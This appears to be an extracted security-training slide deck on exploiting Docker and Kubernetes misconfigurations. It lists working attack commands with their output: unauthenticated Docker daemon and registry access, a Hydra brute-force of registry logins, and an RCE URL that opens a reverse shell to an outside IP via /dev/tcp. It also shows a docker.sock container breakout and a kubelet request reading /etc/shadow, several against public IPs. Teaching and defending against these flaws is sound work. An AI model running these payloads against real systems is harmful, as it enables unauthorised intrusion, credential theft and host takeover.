

https://github.com/Security-Champions-Beta





1. Exploiting docker misconfiguration PORT & Daemon





1. Exploiting docker misconfiguration

```
:@debian:/home$ curl 192.168.1.105:2375/images/json |
        % Received % Xferd Average Speed Time
                                                     Time
                                                              Time Current
                             Dload Upload
                                                     Spent
                                                              Left Speed
 1686 100 1686
"Created": 1533141463,
"Id": "sha256:e9d165cf1cd65ab81f8fa04abcb19700040081fcaa4aef7eb20dcc96a4ce3bba",
"Labels": {
  "MAINTAINER": "Madhu Akula"
"ParentId": "sha256:d980faf456051587396f00a5d318fa2715e739dde263d313117a8adfd2e52e02",
"RepoDigests": null,
"RepoTags": [
  "sysmon:latest"
"SharedSize": -1,
"Size": 138837597,
"VirtualSize": 138837597
"Containers": -1,
"Created": 1532643648,
"Id": "sha256:735f80812f90aca43213934fd321a75ef20b2e30948dbbdd2c240e8abaab8a28",
"Labels": null,
"ParentId": "",
"RepoDigests": [
  "ubuntu@sha256:3f119dc0737f57f704ebecac8a6d8477b0f6ca1ca0332c7ee1395ed2c6a82be7"
```

1. Exploiting docker misconfiguration PORT & Daemon

Attacker can abuse this by using the docker daemon configuration to access the host system's docker runtime

```
@debian:/home$ docker -H tcp://192.168.1.105:2375 ps
CONTAINER ID
                    IMAGE
                                                COMMAND
                                                                          CREATED
                                                                                              STATUS
 PORTS
                          NAMES
                    appsecco/node-simple-rce
                                                "pm2 start app.js --..."
                                                                         47 hours ago
                                                                                              Up 47 hours
5ee31a808165
 0.0.0.0:8080->8080/tcp
                          musing clarke
                    appsecco/node-simple-rce
9c87389b1761
                                                "pm2 start app.js --.."
                                                                                              Up 2 days
                                                                         2 years ago
 0.0.0.0:80->8080/tcp
                          nodeapp
fefeff8e1078
                                                "top"
                                                                                              Up 2 days
                    sysmon
                                                                         2 years ago
                           sysmon
       @debian:/home$ docker -H tcp://192.168.1.105:2375 images
REPOSITORY
                                                IMAGE ID
                                                                                         SIZE
                            TAG
                                                                    CREATED
                            latest
                                                e9d165cf1cd6
                                                                                         139MB
                                                                    2 years ago
sysmon
                                                735f80812f90
ubuntu
                            latest
                                                                    2 years ago
                                                                                         83.5MB
alpine
                                                11cd0b38bc3c
                            latest
                                                                                         4.41MB
                                                                    2 years ago
appsecco/node-simple-rce
                                                da4154bb4bcf
                            latest
                                                                    3 years ago
                                                                                         253MB
appsecco/dsvw
                                                ccc88f3dc27d
                           <none>
                                                                    3 years ago
                                                                                         48.2MB
student@debian:/home$
```


1. Exploiting docker misconfiguration PORT & Daemon Attacker can abuse this by using the docker daemon configuration to access the host system's docker runtime ---- > 194.5.192.50

```
MHNs-MacBook-Pro:Sudomy-1.1.3#dev mhn$ nmap -p 2375 194.5.192.50
Starting Nmap 7.92 (https://nmap.org) at 2022-04-06 17:55 +0430
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 17:55 (0:00:00 remaining)
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 100.00% done; ETC: 17:55 (0:00:00 remaining)
Nmap scan report for 194.5.192.50
Host is up (0.26s latency).
PORT
         STATE SERVICE
2375/tcp open docker
Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds
MHNs-MacBook-Pro:Sudomy-1.1.3#dev mhn$ curl http://194.5.192.50:2375/v1.38/containers/json
[{"Id":"8a50362d20abe4e36f1e5b71eba2955342f120022025162b2e065b4af2c6ee53","Names":["/laughing_clarke"],"Image":"ubuntu","ImageID":"s
ha256:825d55fb6340083b06e69e02e823a02918f3ffb575ed2a87026d4645a7fd9e1b","Command":"bash","Created":1649251484,"Ports":[],"Labels":{}
,"State":"running","Status":"Up 53 seconds","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMCon
fig":null,"Links":null,"Aliases":null,"NetworkID":"8e36cb1d2f41144175e52a7dbe0a909a535d769513747474950d881b7cf3f48a","EndpointID":"6
b843ba43f9f605c009b0f9683c35157c53a3288a446b0cfd852487e2667d02d","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","IPPrefixLen":16,"I
Pv6Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "MacAddress":"02:42:ac:11:00:02", "DriverOpts":null}}}, "Mounts":[]}]
MHNs-MacBook-Pro:Sudomy-1.1.3#dev mhn$
```



1. Exploiting docker misconfiguration PORT & Daemon

A Docker registry is a distribution system for Docker images. There will be different images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS.



1. Exploiting docker misconfiguration PORT & Daemon

https://raw.githubusercontent.com/maurosoria/dirsearch/master/db/dicc.txt

https://github.com/Security-Champions-Beta/Exposed-Hunter

https://twitter.com/TomNomNom

```
PS C:\Users\MHN> curl 192.168.1.106:5000/v2/_catalog
StatusCode
                  : 200
StatusDescription : OK
                  : {"repositories":["devcode", "hello-world"]}
Content
                  : HTTP/1.1 200 OK
RawContent
                    Docker-Distribution-Api-Version: registry/2.0
                    X-Content-Type-Options: nosniff
                    Content-Length: 43
                    Content-Type: application/json; charset=utf-8
                    Date: Sun, 27 Jun 2021 15:08:03 GMT...
Forms
                  : {[Docker-Distribution-Api-Version, registry/2.0],
Headers
                    [Content-Length, 43], [Content-Type, application/
Images
                  : {}
InputFields
                  : {}
Links
ParsedHtml
                  : mshtml.HTMLDocumentClass
RawContentLength : 43
```

1. Exploiting docker misconfiguration PORT & Daemon

```
@debian:~$ curl <u>http://192.168.1.106</u>:5000/v2/ catalog | jq .
           % Received % Xferd Average Speed Time Time Time
 % Total
                                                                  Current
                              Dload Upload Total Spent Left Speed
                                        0 --:--:- 7166
100
                               6093
 "repositories": [
   "devcode",
   "hello-world"
  @debian:~$ curl -s <u>http://192.168.1.106</u>:5000/v2/devcode/tags/list | jq .
  "name": "devcode",
  "tags": [
   "latest"
```

1. Exploiting docker misconfiguration PORT & Daemon

ubuntu@ubuntu-g1-small2-su-1:~/docker-	registry\$ docker run	ı -d \	
> -p 5000:5000 \			
>restart=always \			
<pre>>name registry \</pre>			
<pre>> -v "\$(pwd)"/auth:/auth \</pre>			
> -e "REGISTRY_AUTH=htpasswd" \			
-e "REGISTRY_AUTH_HTPASSWD_REALM=F	Registry Realm" \		
-e REGISTRY_AUTH_HTPASSWD_PATH=/au	uth/htpasswd \		
> registry:2 → C ① 185.235.43.75:500	0/v2/_catalog	or 🖈 🙈 & & 🕞 🔇	
、EDT to GMT Conver 🤵 Certificate	Sign in	Ot	
	http://185.235.43.75:5000		
	Your connection to this site is not private		
	Username		
/ - / - /	Password ••••••		
		Town was	
		Sign in Cancel	

- 1. Exploiting docker misconfiguration PORT & Daemon
- 2. https://en.kali.tools/?p=220

```
ubuntu@ubuntu-g1-small2-su-1:~/docker-registry$ ls
auth docker-compose.yml p.txt u.txt
ubuntu@ubuntu-g1-small2-su-1:~/docker-registry$ cat u.txt
admin
testuser
ubuntu@ubuntu-g1-small2-su-1:~/docker-registry$ cat p.txt
tedddddddd
testpass
testpassword
sfadf
adfadfa
ubuntu@ubuntu-q1-small2-su-1:~/docker-registry$ hydra -L u.txt -P p.txt 185.235.43.75 -s 5000 http-get /v2/ ca
talog
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for i
llegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-07-04 08:38:05
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21 login tries (l:3/p:7), ~2 tries per task
[DATA] attacking http-get://185.235.43.75:5000//v2/ catalog
[5000][http-get] host: 185.235.43.75 login: testuser password: testpassword
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-07-04 08:38:06
ubuntu@ubuntu-g1-small2-su-1:~/docker-registry$
```

Exposed Docker Registry U.S. Dept Of Defense

https://hackerone.com/reports/924487

different Docker containers on your network **Nextcloud**

https://hackerone.com/reports/1332433

https://hackerone.com/reports/179103

https://hackerone.com/reports/955016

https://hackerone.com/reports/1417211



2. ENV File Exposed on Production

- https://github.com/Security-Champions-Beta/Docker-File-Build-Security-Best-Practices/tree/main/3
- http://194.5.192.50/.env
- https://github.com/projectdiscovery/nuclei-templates/tree/master/exposures

You Can Test On:

nuclei -u http://194.5.192.50 -t ../../../nuclei-templates/exposures/configs/ -vv



- 3. Container Breakout we will be exploiting a NodeJS application using remote code execution to gain a reverse shell. Then we will use the volume mounted docker.sock to gain privileges in the host system with docker runtime.
- https://hub.docker.com/r/mhnamadi/noderce-dockerbreakout
- http://194.5.192.50:1010/?q=require(%22child_process%22).exec(%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/185.235.41.26/5555%200%3E%261%22%27)
 We can see that Is -I /var/run/docker.sock is available and mounted from the host system
- ☐ ./docker -H unix:///var/run/docker.sock ps
- ☐ ./docker -H unix:///var/run/docker.sock images
- https://github.com/berdav/CVE-2021-4034

https://cheatsheetseries.owasp.org/cheatsheets/Kubernetes_Security_Cheat_Sheet.html

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Impact
Using Cloud credentials	Exec into container	Backdoor container	Privileged container	Clear container logs	List K8S secrets	Access the K8S API server	Access cloud resources	Data Destruction
Compromised images in registry	bash/cmd inside container	Writable hostPath mount	Cluster-admin binding	Delete K8S events	Mount service principal	Access Kubelet API	Container service account	Resource Hijacking
Kubeconfig file	New container	Kubernetes CronJob	hostPath mount	Pod / container name similarity	Access container service account	Network mapping	Cluster internal networking	Denial of service
Application vulnerability	Application exploit (RCE)		Access cloud resources	Connect from Proxy server	Applications credentials in configuration files	Access Kubernetes dashboard	Applications credentials in configuration files	
Exposed Dashboard	SSH server running inside container					Instance Metadata API	Writable volume mounts on the host	
							Access Kubernetes dashboard	



Kubelet API

This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**.

https://github.com/Security-Champions-Beta/Container-Hunt-Nuclei

nuclei -u https://IP:10250 -t template.yml -vv



```
[2022-04-07 19:55:53] [kubernetes-metrics] [http] [low] https://130.185.123.97:10250/metrics [2022-04-07 19:55:53] [kubelet-metrics] [http] [info] https://130.185.123.97:10250/metrics [2022-04-07 19:55:53] [kubernetes-pods-api] [http] [critical] https://130.185.123.97:10250/pods [2022-04-07 19:55:54] [kubelet-stats] [http] [info] https://130.185.123.97:10250/stats/summary
```

```
mhs-MacBook-Pro:~ mhn$ curl -k https://194.5.207.20:10250/run/default/api-8554d8bdd-x9cr7/api -X POST -d "cmd=cat /etc/shadow
root:::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
operator:!::0:::::
man:!::0:::::
postmaster:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
at:!::0:::::
sauid:!::0:::::
xfs:!::0:::::
games:!::0:::::
postgres:!::0:::::
cyrus:!::0:::::
vpopmail:!::0:::::
ntp:!::0:::::
smmsp:!::0:::::
quest:!::0:::::
nobody:!::0:::::
mhs-MacBook-Pro:~ mhn$
```



Exposed Kubernetes API - RCE/Exposed Creds

https://hackerone.com/reports/455645

Exposed Kubernetes dashboard

https://hackerone.com/reports/1418101

Unauthorized Kubernetes to RCE (root) and found TEAMTNT Crypto I

https://hackerone.com/reports/1317236



K8s Environment Steal

https://github.com/Security-Champions-Beta/Kubernetes-KungFu/tree/main/K8s%20Environment%20Steal-Template-Injection-2

